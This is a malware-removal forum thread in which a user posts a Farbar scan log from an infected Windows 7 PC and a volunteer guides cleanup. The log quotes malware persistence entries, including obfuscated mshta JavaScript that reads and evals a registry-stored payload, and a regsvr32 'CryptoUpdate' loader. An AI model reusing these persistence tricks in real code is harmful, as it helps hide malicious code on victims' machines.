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Windows 7 Black Screen Virus/don't know where to go from here

amyr

By amyr
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amyr

amyr

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My Windows 7 OS has just a black screen with the cursor in the middle.  I have tried to launch it in safe mode and everything else that all the other forums suggested but nothing is working.  I found another topic on this site that had information that was for that specific computer so now that I have downloaded the Farbar tool and scanned the infected computer I don't know what the next step is... If anyone could offer some help it would be greatly appreciated.  If I am not going about this the right way then I apologize.


 


Here are the results of the Farbar scan:


 


Scan result of Farbar Recovery Scan Tool (FRST) (x64) Version:10-09-2015 01

Ran by SYSTEM on MININT-ITIPCP2 (11-09-2015 13:56:44)

Running from F:\

Platform: Windows 7 Home Premium (X64) Language: English (United States)

Internet Explorer Version 9

Boot Mode: Recovery

Default: ControlSet003

ATTENTION!:=====> If the system is bootable FRST must be run from normal or Safe mode to create a complete log.

 

Tutorial for Farbar Recovery Scan Tool: http://www.geekstogo...very-scan-tool/

 

==================== Registry (Whitelisted) ===========================

 

(If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)

 

HKLM-x32\...\Run: [**246c6654<*>] => mshta javascript:cVyqLD8C="jHu";m1w=new%20ActiveXObject("WScript.Shell");Fko57OhUa="6HIAubL9";GvG7H0=m1w.RegRead("HKLM\\software\\Wow6432Node\\24f0a094b5\\5abff29d");gWw3DEE6A="8P";eval(GvG7H0);dqi3qj (the data entry has 14 more characters). <===== ATTENTION (Value Name with invalid characters)

HKLM-x32\...\runonceex: [] => [X]

Winlogon\Notify\GoToAssist: C:\Program Files (x86)\Citrix\GoToAssist\514\G2AWinLogon_x64.dll [X]

Winlogon\Notify\igfxcui: C:\Windows\system32\igfxdev.dll (Intel Corporation)

HKLM\...\Policies\Explorer\Run: [**54c488f2<*>] => mshta javascript:Cmg9jOg1L="aRy";Jv59=new%20ActiveXObject("WScript.Shell");VXHzZ7iNp="70";Y5FOj6=Jv59.RegRead("HKLM\\software\\Wow6432Node\\24f0a094b5\\5abff29d");U7GKiyKah="tTM";eval(Y5FOj6);TMpv1GcW (the data entry has 11 more characters). <===== ATTENTION (Value Name with invalid characters)

HKU\WTs Guns\...\Run: [**246c6654<*>] => mshta javascript:S94NqkIF="XzZ";NS30=new%20ActiveXObject("WScript.Shell");us6ac2cD="qu8dA";inUD1=NS30.RegRead("HKCU\\software\\24f0a094b5\\5abff29d");RxBDrj63b="FnsGPu2";eval(inUD1);vmqshgn8k8="wv6dzj (the data entry has 5 more characters). <===== ATTENTION (Value Name with invalid characters)

HKU\WTs Guns\...\RunOnce: [*0d4fdb] => C:\b0d4fdb4\b0d4fdb4.exe [355840 2015-08-31] (MUKPOCOT)

HKU\WTs Guns\...\RunOnce: [*0d4fdb4] => C:\Users\WTs Guns\AppData\Roaming\b0d4fdb4.exe

HKU\WTs Guns\...\RunOnce: [CryptoUpdate] => C:\Windows\system32\regsvr32.exe /s "C:\Users\WTs Guns\AppData\Roaming\Microsoft\Crypto\RSA\cert_v65552_0.tpl"

AppInit_DLLs: C:\PROGRA~2\WI3C8A~1\Datamngr\x64\datamngr.dll => No File

AppInit_DLLs:  C:\PROGRA~2\WI3C8A~1\Datamngr\x64\IEBHO.dll => No File

Startup: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Dell Dock First Run.lnk [2010-03-06]

ShortcutTarget: Dell Dock First Run.lnk -> C:\Program Files\Dell\DellDock\DellDock.exe (Stardock Corporation)

Startup: C:\Users\Default User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Dell Dock First Run.lnk [2010-03-06]

ShortcutTarget: Dell Dock First Run.lnk -> C:\Program Files\Dell\DellDock\DellDock.exe (Stardock Corporation)

Startup: C:\Users\QBDataServiceUser18\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Dell Dock First Run.lnk [2010-04-30]

ShortcutTarget: Dell Dock First Run.lnk -> C:\Program Files\Dell\DellDock\DellDock.exe (Stardock Corporation)

Startup: C:\Users\QBDataServiceUser20\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Dell Dock First Run.lnk [2010-05-27]

ShortcutTarget: Dell Dock First Run.lnk -> C:\Program Files\Dell\DellDock\DellDock.exe (Stardock Corporation)

Startup: C:\Users\QBDataServiceUser24\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Dell Dock First Run.lnk [2014-03-07]

ShortcutTarget: Dell Dock First Run.lnk -> C:\Program Files\Dell\DellDock\DellDock.exe (Stardock Corporation)

BootExecute: autocheck autochk * C:\PROGRA~2\AVG\AVG2012\avgrsa.exe /sync /restart

 

==================== Services (Whitelisted) ========================

 

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

 

S4 AdobeActiveFileMonitor11.0; C:\Program Files (x86)\Adobe\Elements 11 Organizer\PhotoshopElementsFileAgent.exe [171600 2012-09-17] (Adobe Systems Incorporated)

S4 avgwd; C:\Program Files (x86)\AVG\AVG2012\avgwdsvc.exe [193288 2012-02-14] (AVG Technologies CZ, s.r.o.)

S2 googleupdate; C:\Windows\bswiWxhdyvnHhyL.exe [512000 2015-05-20] ()

S4 QuickBooksDB18; C:\Program Files (x86)\Intuit\QuickBooks 2008\QBDBMgrN.exe [128536 2006-09-13] (iAnywhere Solutions, Inc.)

S3 QuickBooksDB20; C:\Program Files (x86)\Intuit\QuickBooks 2010\QBDBMgrN.exe [678912 2009-08-17] (Intuit, Inc.)

S3 QuickBooksDB24; C:\Program Files (x86)\Intuit\QuickBooks 2014\QBDBMgrN.exe [679936 2013-12-02] (Intuit, Inc.)

S4 vToolbarUpdater18.0.0; C:\Program Files (x86)\Common Files\AVG Secure Search\vToolbarUpdater\18.0.0\ToolbarUpdater.exe [1759768 2014-03-02] (AVG Secure Search)

S2 PccNTUpd; "C:\Program Files (x86)\Trend Micro\OfficeScan Client\PccNTUpd.exe" -service [X]

 

===================== Drivers (Whitelisted) ==========================

 

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

 

S0 AVGIDSHA; C:\Windows\System32\DRIVERS\avgidsha.sys [28480 2012-04-19] (AVG Technologies CZ, s.r.o. )

S1 Avgldx64; C:\Windows\System32\DRIVERS\avgldx64.sys [307040 2012-11-08] (AVG Technologies CZ, s.r.o.)

S1 Avgmfx64; C:\Windows\System32\DRIVERS\avgmfx64.sys [47696 2011-12-23] (AVG Technologies CZ, s.r.o.)

S0 Avgrkx64; C:\Windows\System32\DRIVERS\avgrkx64.sys [36944 2012-01-31] (AVG Technologies CZ, s.r.o.)

S1 avgtp; C:\Windows\system32\drivers\avgtpx64.sys [50976 2014-03-02] (AVG Technologies)

S3 ebdrv; C:\Windows\system32\DRIVERS\evbda.sys [3286016 2009-06-10] (Broadcom Corporation)

S0 Lbd; C:\Windows\System32\DRIVERS\Lbd.sys [69376 2012-07-24] (Lavasoft AB)

S0 PxHlpa64; C:\Windows\System32\Drivers\PxHlpa64.sys [56336 2012-08-09] (Corel Corporation)

S3 Lavasoft Kernexplorer; \??\C:\Program Files (x86)\Lavasoft\Ad-Aware\KernExplorer64.sys [X]

S1 SBRE; \??\C:\Windows\system32\drivers\SBREdrv.sys [X]

 

==================== NetSvcs (Whitelisted) ===================

 

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

 

 

==================== One Month Created files and folders ========

 

(If an entry is included in the fixlist, the file/folder will be moved.)

 

2015-09-11 13:56 - 2015-09-11 13:56 - 00000000 ____D C:\FRST

2015-09-06 06:33 - 2015-09-06 06:33 - 00000000 ____D C:\ProgramData\YojaWifo

2015-09-06 06:32 - 2015-09-06 06:34 - 00000157 _____ C:\Users\WTs Guns\AppData\Local\svcxdcl32.dat

2015-09-06 06:32 - 2015-09-06 06:32 - 00358400 _____ C:\Users\WTs Guns\AppData\Local\svcxdcl32.exe

2015-09-01 12:59 - 2015-09-07 13:29 - 00000504 ____H C:\Windows\Tasks\35eff4f8f3fd23f10907f307.job

2015-09-01 12:59 - 2015-09-07 11:14 - 00000382 ____H C:\Windows\Tasks\CryptoUpdate.job

2015-09-01 12:59 - 2015-09-07 10:44 - 00002962 _____ C:\Windows\System32\Tasks\CryptoUpdate

2015-09-01 12:59 - 2015-09-01 12:59 - 00003084 _____ C:\Windows\System32\Tasks\35eff4f8f3fd23f10907f307

2015-08-31 11:49 - 2015-08-31 11:49 - 00000000 ____D C:\Users\WTs Guns\AppData\Local\Google

2015-08-31 05:23 - 2015-08-31 05:23 - 00000000 ___HD C:\b0d4fdb4

2015-08-31 04:26 - 2015-08-31 04:26 - 00004096 _____ C:\ProgramData\hTew6txG06C4.dll

2015-08-31 04:24 - 2015-08-31 04:24 - 00004096 _____ C:\ProgramData\p2hbAwRM06C4.dll

2015-08-29 06:23 - 2015-08-29 06:24 - 00000000 ___HD C:\ProgramData\{9A88E103-A20A-4EA5-8636-C73B709A5BF8}

2015-08-28 04:07 - 2015-08-28 04:07 - 00000000 ____D C:\Users\WTs Guns\AppData\Local\Upvhmedia

2015-08-28 04:07 - 2015-08-28 04:07 - 00000000 ____D C:\Users\WTs Guns\AppData\Local\Okrics

2015-08-18 05:14 - 2015-08-28 04:47 - 00000000 ____D C:\Program Files (x86)\Mozilla Firefox

 

==================== One Month Modified files and folders ========

 

(If an entry is included in the fixlist, the file/folder will be moved.)

 

2015-09-11 09:23 - 2012-07-24 08:48 - 00026142 _____ C:\Windows\setupact.log

2015-09-11 09:23 - 2009-07-13 21:08 - 00000006 ____H C:\Windows\Tasks\SA.DAT

2015-09-11 08:50 - 2009-07-13 21:13 - 00797996 _____ C:\Windows\System32\PerfStringBackup.INI

2015-09-11 08:19 - 2012-07-24 07:45 - 00000830 _____ C:\Windows\Tasks\Adobe Flash Player Updater.job

2015-09-11 08:15 - 2009-07-13 20:45 - 00022464 ____H C:\Windows\System32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0

2015-09-11 08:15 - 2009-07-13 20:45 - 00022464 ____H C:\Windows\System32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0

2015-09-09 09:57 - 2012-07-24 08:49 - 00089564 _____ C:\Windows\WindowsUpdate.log

2015-09-09 09:43 - 2010-10-05 07:08 - 00000000 ____D C:\Windows\pss

2015-09-02 09:30 - 2013-06-25 10:30 - 00079360 ___SH C:\Users\WTs Guns\Downloads\Thumbs.db

2015-09-02 09:30 - 2012-10-03 08:53 - 00000000 ____D C:\Users\WTs Guns\Desktop\shop Pics

2015-08-28 04:47 - 2012-07-24 08:48 - 00279972 _____ C:\Windows\PFRO.log

2015-08-28 04:47 - 2012-05-03 04:02 - 00000000 ____D C:\Program Files (x86)\Mozilla Maintenance Service

2015-08-28 04:34 - 2012-07-24 07:45 - 00778440 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerApp.exe

2015-08-28 04:34 - 2012-07-24 07:45 - 00003768 _____ C:\Windows\System32\Tasks\Adobe Flash Player Updater

2015-08-28 04:34 - 2011-05-24 12:43 - 00142536 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerCPLApp.cpl

2015-08-19 12:48 - 2013-11-01 07:28 - 00002426 _____ C:\Users\WTs Guns\Desktop\IMS V6.lnk

2015-08-12 10:10 - 2013-04-09 10:33 - 00122368 ___SH C:\Users\WTs Guns\Desktop\Thumbs.db

 

ZeroAccess:

C:\Windows\Installer\{21d795b1-cb65-1fe9-782f-dd55be9fe90a}

C:\Windows\Installer\{21d795b1-cb65-1fe9-782f-dd55be9fe90a}\U\80000000.@

C:\Windows\Installer\{21d795b1-cb65-1fe9-782f-dd55be9fe90a}\U\80000032.@

C:\Windows\Installer\{21d795b1-cb65-1fe9-782f-dd55be9fe90a}\U\80000064.@

C:\Windows\Installer\{21d795b1-cb65-1fe9-782f-dd55be9fe90a}\L\00000004.@

C:\Windows\Installer\{21d795b1-cb65-1fe9-782f-dd55be9fe90a}\L\1afb2d56

C:\Windows\Installer\{21d795b1-cb65-1fe9-782f-dd55be9fe90a}\L\201d3dde

 

ZeroAccess:

C:\Users\WTs Guns\AppData\Local\{21d795b1-cb65-1fe9-782f-dd55be9fe90a}

 

Files to move or delete:

====================

C:\ProgramData\hTew6txG06C4.dll

C:\ProgramData\p2hbAwRM06C4.dll

C:\Users\WTs Guns\aaaaaaaa.exe

 

 

Some files in TEMP:

====================

C:\Users\WTs Guns\AppData\Local\Temp\3fffb56d-6b40-4cd3-b5fb-0ac36bf72961.exe

C:\Users\WTs Guns\AppData\Local\Temp\6013073.exe

C:\Users\WTs Guns\AppData\Local\Temp\76FA.tmp.exe

C:\Users\WTs Guns\AppData\Local\Temp\Abspdf.exe

C:\Users\WTs Guns\AppData\Local\Temp\acfpdfu.dll

C:\Users\WTs Guns\AppData\Local\Temp\acfpdfuamd64.dll

C:\Users\WTs Guns\AppData\Local\Temp\acfpdfui.dll

C:\Users\WTs Guns\AppData\Local\Temp\acfpdfuia64.dll

C:\Users\WTs Guns\AppData\Local\Temp\acfpdfuiamd64.dll

C:\Users\WTs Guns\AppData\Local\Temp\acfpdfuiia64.dll

C:\Users\WTs Guns\AppData\Local\Temp\ApnStub.exe

C:\Users\WTs Guns\AppData\Local\Temp\avguidx.dll

C:\Users\WTs Guns\AppData\Local\Temp\C07A.tmp.exe

C:\Users\WTs Guns\AppData\Local\Temp\cdintf.dll

C:\Users\WTs Guns\AppData\Local\Temp\CommonInstaller.exe

C:\Users\WTs Guns\AppData\Local\Temp\csrsss.exe

C:\Users\WTs Guns\AppData\Local\Temp\docviewe.exe

C:\Users\WTs Guns\AppData\Local\Temp\install_flash_player_18_active_x.exe

C:\Users\WTs Guns\AppData\Local\Temp\jre-6u33-windows-i586-iftw.exe

C:\Users\WTs Guns\AppData\Local\Temp\jre-6u37-windows-i586-iftw.exe

C:\Users\WTs Guns\AppData\Local\Temp\jre-6u39-windows-i586-iftw.exe

C:\Users\WTs Guns\AppData\Local\Temp\jre-7u17-windows-i586-iftw.exe

C:\Users\WTs Guns\AppData\Local\Temp\jre-7u40-windows-i586-iftw.exe

C:\Users\WTs Guns\AppData\Local\Temp\jre-7u45-windows-i586-iftw.exe

C:\Users\WTs Guns\AppData\Local\Temp\jre-7u51-windows-i586-iftw.exe

C:\Users\WTs Guns\AppData\Local\Temp\MachineIdCreator.exe

C:\Users\WTs Guns\AppData\Local\Temp\oi_{2D24F029-B2B5-4807-A2F5-C3CDF78AE31D}.exe

C:\Users\WTs Guns\AppData\Local\Temp\PDFPRT400.exe

C:\Users\WTs Guns\AppData\Local\Temp\readSTILog.dll

C:\Users\WTs Guns\AppData\Local\Temp\ToolbarInstaller.exe

C:\Users\WTs Guns\AppData\Local\Temp\UNINSTALL.EXE

C:\Users\WTs Guns\AppData\Local\Temp\xmllite.dll

 

 

==================== Known DLLs (Whitelisted) =========================

 

 

==================== Bamital & volsnap =================

 

(There is no automatic fix for files that do not pass verification.)

 

C:\Windows\System32\winlogon.exe => MD5 is legit

C:\Windows\System32\wininit.exe => MD5 is legit

C:\Windows\SysWOW64\wininit.exe => MD5 is legit

C:\Windows\explorer.exe => MD5 is legit

C:\Windows\SysWOW64\explorer.exe => MD5 is legit

C:\Windows\System32\svchost.exe => MD5 is legit

C:\Windows\SysWOW64\svchost.exe => MD5 is legit

C:\Windows\System32\services.exe => MD5 is legit

C:\Windows\System32\User32.dll => MD5 is legit

C:\Windows\SysWOW64\User32.dll => MD5 is legit

C:\Windows\System32\userinit.exe => MD5 is legit

C:\Windows\SysWOW64\userinit.exe => MD5 is legit

C:\Windows\System32\rpcss.dll => MD5 is legit

C:\Windows\System32\dnsapi.dll => MD5 is legit

C:\Windows\SysWOW64\dnsapi.dll => MD5 is legit

C:\Windows\System32\Drivers\volsnap.sys => MD5 is legit

 

==================== Restore Points =========================

 

 

==================== Memory info =========================== 

 

Percentage of memory in use: 11%

Total physical RAM: 6108.98 MB

Available physical RAM: 5384.06 MB

Total Virtual: 6107.13 MB

Available Virtual: 5387.99 MB

 

==================== Drives ================================

 

Drive c: (OS) (Fixed) (Total:683.95 GB) (Free:469.29 GB) NTFS

Drive f: (USB20FD) (Removable) (Total:7.51 GB) (Free:7.5 GB) FAT32

Drive x: (Boot) (Fixed) (Total:0.03 GB) (Free:0.03 GB) NTFS

Drive y: (RECOVERY) (Fixed) (Total:14.65 GB) (Free:9.24 GB) NTFS ==>[system with boot components (obtained from reading drive)]

 

==================== MBR & Partition Table ==================

 

========================================================

Disk: 0 (Size: 698.6 GB) (Disk ID: 78033E78)

Partition 1: (Not Active) - (Size=39 MB) - (Type=DE)

Partition 2: (Active) - (Size=14.6 GB) - (Type=07 NTFS)

Partition 3: (Not Active) - (Size=683.9 GB) - (Type=07 NTFS)

 

========================================================

Disk: 1 (Size: 7.5 GB) (Disk ID: 04DD5721)

Partition 1: (Active) - (Size=7.5 GB) - (Type=0C)

 

 

LastRegBack: 2015-09-11 08:32

 

==================== End of FRST.txt ============================

 

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TwinHeadedEagle

TwinHeadedEagle

Posted
Posted

Hello,

    

 

They call me TwinHeadedEagle around here, and I'll try to help your with your issue.

 

     

    

Before we start please read and note the following:

  • We're primarily oriented on malware removal here, so you must know that some issues just cannot be solved and you must be prepared for this. Some tools we use here will remove your browser search history, so backup your important links and all the files whose loss is unacceptable.
  • Note that we may live in totally different time zones, what may cause some delays between answers.
  • Don't run any scripts or tools on your own, unsupervised usage may cause more harm than good.
  • Do not paste the logs in your posts, attachments make my work easier. There is a More reply options button, that gives you Upload Files option below which you can use to attach your reports. Always attach reports from all tools.
  • Always execute my instructions in given order. If for some reason you cannot completely follow one instruction, inform me about that.
  • If I don't hear from you within 3 days from this initial or any subsequent post, then this thread will be closed.
:excl: I can't foresee everything, so if anything not covered in my instructions happens, please stop and inform me!

:excl: There are no silly questions. Never be afraid to ask if in doubt!

 

 

 

  warning.gif Rules and policies

 

We won't support any piracy.

That being told, if any evidence of illegal OS, software, cracks/keygens or any other will be revealed, any further assistance will be suspended. If you are aware that there is this kind of stuff on your machine, remove it before proceeding!

The same applies to any use of P2P software: uTorrent, BitTorrent, Vuze, Kazaa, Ares... We don't provide any help for P2P, except for their removal. All P2P software has to be uninstalled or at least fully disabled before proceeding!

 

Failure to follow these guidelines will result with closing your topic and withdrawning any assistance.

 

 

Download attached fixlist.txt and save it to your USB flashdrive as fixlist.txt

>> Boot into Recovery Environment

Start FRST in a similar manner to when you ran a scan earlier, but this time when it opens ....

  • Press the Fix button once and wait.
  • FRST will process fixlist.txt
  • When finished, it will produce a log fixlog.txt on your USB flashdrive.
  • >> Exit out of Recovery Environment and post me the log please.

    Try to boot Windows normally...

fixlist.txt

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amyr

amyr

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  • Author
Posted

Sorry to keep bothering you, but everything looks okay except when I try to shut down the computer I get a message about forcing QBW32.EXE  to close.   I didn't know if that was something I should be worried about or not. I attached a picture of the message.  Sorry, just paranoid now that there is something still lurking around the machine.  :ph34r:

post-192614-0-85263900-1442076350_thumb.

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TwinHeadedEagle

TwinHeadedEagle

Posted
Posted

Please download Farbar Recovery Scan Tool and save it to your desktop.

Note: You need to run the version compatibale with your system. If you are not sure which version applies to your system download both of them and try to run them.

Only one of them will run on your system, that will be the right version.

  • Double-click to run it. When the tool opens click Yes to disclaimer.
  • Press Scan button.
  • It will make a log (FRST.txt) in the same directory the tool is run. Please attach it to your reply.
  • The first time the tool is run, it makes also another log (Addition.txt). Please attach it to your reply.
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TwinHeadedEagle

TwinHeadedEagle

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Posted

Download attached fixlist.txt and save it to your USB flashdrive as fixlist.txt

>> Boot into Recovery Environment

Start FRST in a similar manner to when you ran a scan earlier, but this time when it opens ....

  • Press the Fix button once and wait.
  • FRST will process fixlist.txt
  • When finished, it will produce a log fixlog.txt on your USB flashdrive.
>> Exit out of Recovery Environment and post me the log please.

Try to boot Windows normally...

fixlist.txt

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amyr

amyr

Posted
  • Author
Posted

It will not open it.  I downloaded it again and the same thing happens.  An icon appears at the bottom of the monitor and if I click on it the message pops up "scripts paused" and under that it says exit. Even if I open it from the flashdrive it does the same thing.  

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TwinHeadedEagle

TwinHeadedEagle

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Posted

I need Addition.txt too:

FRST.gif Scan with Farbar Recovery Scan Tool

 

Please re-run Farbar Recovery Scan Tool to give me a fresh look at your system.

  • Right-click on FRST.gif icon and select RunAsAdmin.jpg Run as Administrator to start the tool.

    (XP users click run after receipt of Windows Security Warning - Open File).

  • Make sure that Addition option is checked.
  • Press Scan button and wait.
  • The tool will produce two logfiles on your desktop: FRST.txt and Addition.txt.
Please upload them into your next reply.
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TwinHeadedEagle

TwinHeadedEagle

Posted
Posted

remove%20outdated.jpg Uninstall some programs

We need to uninstall some unwanted/unneeded programs.

  • Press the WindowsKey.png + R on your keyboard at the same time. Type appwiz.cpl and click OK.
  • Search there for each entry mentioned below, right-click the entry and click Uninstall one at a time
The list of programs to uninstall:
  • iLivid
  • Qwiklinx
After completing uninstalls, please manually reboot your machine!

Note: If you get the message like: An error occurred while trying to uninstall, just press Yes.

Note: If you are unable to uninstall all programs, please inform me, but continue with other steps.

FRST.gif Fix with Farbar Recovery Scan Tool

icon_exclaim.gif This fix was created for this user for use on that particular machine. icon_exclaim.gif

icon_exclaim.gif Running it on another one may cause damage and render the system unstable. icon_exclaim.gif

Download attached fixlist.txt file and save it to the Desktop:

Both files, FRST and fixlist.txt have to be in the same location or the fix will not work!

  • Right-click on FRST.gif icon and select RunAsAdmin.jpg Run as Administrator to start the tool.

    (XP users click run after receipt of Windows Security Warning - Open File).

  • Press the Fix button just once and wait.
  • If for some reason the tool needs a restart, please make sure you let the system restart normally. After that let the tool complete its run.
  • When finished FRST will generate a log on the Desktop, called Fixlog.txt.
Please upload it to your reply.

fixlist.txt

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